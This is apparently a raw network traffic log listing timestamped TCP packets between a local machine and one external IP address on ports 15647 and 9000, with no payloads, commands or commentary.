Oct 19, 2024 03:38:06.575923920 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.586015940 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.591052055 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.602401972 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.617218971 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.635626078 CEST	9000	49991	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.645349979 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.649190903 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.665090084 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.679339886 CEST	49991	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.679744959 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.696396112 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.711078882 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.728766918 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.742093086 CEST	49991	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.742182970 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.742405891 CEST	49997	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.747210979 CEST	9000	49997	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.747291088 CEST	49997	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.747343063 CEST	9000	49991	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.747378111 CEST	49997	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.747412920 CEST	49991	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.752351046 CEST	9000	49997	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.758897066 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.773657084 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.790750980 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.831876993 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.837359905 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.852716923 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.852792025 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.868124962 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.883987904 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.898753881 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.915750980 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.929910898 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.946240902 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.961445093 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.977530003 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.992479086 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.997049093 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.038728952 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.038963079 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.039035082 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.039993048 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.043849945 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.056236029 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.061331987 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.086168051 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.090514898 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.132472038 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.134464025 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.134560108 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.165178061 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.165280104 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.197506905 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.197618008 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.227811098 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.227905035 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.258776903 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.258869886 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.305727005 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.305844069 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.322685003 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.337032080 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.352854967 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.367278099 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.400994062 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.401065111 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.431813002 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.431907892 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.463916063 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.464034081 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.494210958 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.503829002 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.525156021 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.525237083 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.570965052 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.571031094 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.572110891 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.576217890 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.586077929 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.590948105 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.603332043 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.617017031 CEST	9000	49997	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.618871927 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.633583069 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.648616076 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.663714886 CEST	49997	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.667588949 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.679963112 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.698450089 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.710988045 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.726783991 CEST	49997	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.727062941 CEST	50004	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.731698990 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.731861115 CEST	9000	50004	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.731925964 CEST	50004	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.732021093 CEST	50004	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.732681036 CEST	9000	49997	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.732736111 CEST	49997	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.736773014 CEST	9000	50004	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.742279053 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.770153999 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.773868084 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.791522026 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.805780888 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.837848902 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.837944984 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.852374077 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.867568016 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.885354042 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.898680925 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.915080070 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.930191040 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.946417093 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.961224079 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.977591038 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:07.993741035 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:07.997634888 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.038734913 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.038964033 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.039032936 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.040290117 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.043829918 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.055258989 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.060173988 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.072217941 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.086287975 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.104696035 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.117527962 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.133811951 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.151341915 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.165158987 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.181994915 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.196947098 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.211440086 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.230684042 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.242569923 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.262012959 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.273777962 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.305319071 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.305393934 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.322060108 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.336142063 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.353063107 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.368165970 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.383966923 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.398552895 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.418391943 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.436115026 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.448388100 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.461184025 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.466095924 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.495198965 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.509236097 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.528026104 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.540285110 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.556318998 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.572587013 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.586994886 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.602659941 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.618498087 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.619048119 CEST	9000	50004	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.634670019 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.648727894 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.663717985 CEST	50004	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.665186882 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.679795980 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.711538076 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.714226961 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.726418972 CEST	50004	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.726686001 CEST	50014	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.727523088 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.731575966 CEST	9000	50014	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.731820107 CEST	9000	50004	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.731889009 CEST	50004	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.731970072 CEST	50014	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.731970072 CEST	50014	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.736903906 CEST	9000	50014	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.743340969 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.761567116 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.773528099 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.794549942 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.804775000 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.822745085 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.836844921 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.853322029 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.877722979 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:08.885056019 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:08.898653030 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.132561922 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.140688896 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.140742064 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.140791893 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.140861034 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.140928030 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.140990973 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.141030073 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.141092062 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.141108990 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.141200066 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.141284943 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.144164085 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.146114111 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.148581028 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.153467894 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.165452957 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.180000067 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.215812922 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.218235016 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.287192106 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.287261963 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.292089939 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.305929899 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.310868979 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.336072922 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.340869904 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.367331982 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.372251987 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.398726940 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.403665066 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.404920101 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.415297985 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.415396929 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.429809093 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.446501970 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.461026907 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.484806061 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.494261980 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.547061920 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.547137022 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.552041054 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.553647041 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.555732012 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.572463036 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.586478949 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.602567911 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.614825010 CEST	9000	50014	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.617414951 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.633956909 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.648610115 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.663754940 CEST	50014	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.665452957 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.665597916 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.696675062 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.697527885 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.716588020 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.716751099 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.726675987 CEST	50014	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.726942062 CEST	50019	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.731920958 CEST	9000	50014	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.731969118 CEST	9000	50019	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.731986046 CEST	50014	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.732043982 CEST	50019	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.732120037 CEST	50019	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.736910105 CEST	9000	50019	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.761291027 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.761387110 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.809835911 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.809947968 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.822228909 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.822320938 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.852690935 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.852770090 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.883874893 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.883949041 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.915239096 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.915307999 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.932128906 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.932275057 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.966689110 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.966773033 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:09.983254910 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:09.993185043 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.027988911 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.028093100 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.059623957 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.059709072 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.088646889 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.088730097 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.121951103 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.122040987 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.150389910 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.150470018 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.181756973 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.181891918 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.199094057 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.202274084 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.232933044 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.234255075 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.259865046 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.262278080 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.294975996 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.295126915 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.326139927 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.326237917 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.343447924 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.343549013 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.388542891 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.388633013 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.417126894 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.417222023 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.448402882 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.450263977 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.468651056 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.469150066 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.488194942 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.488270044 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.529362917 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.529427052 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.561305046 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.561397076 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.592554092 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.594273090 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.609901905 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.609993935 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.613722086 CEST	9000	50019	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.632415056 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.632496119 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.663759947 CEST	50019	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.682917118 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.682967901 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.683604956 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.687863111 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.695671082 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.711956978 CEST	15647	49704	213.109.202.97	192.168.2.5
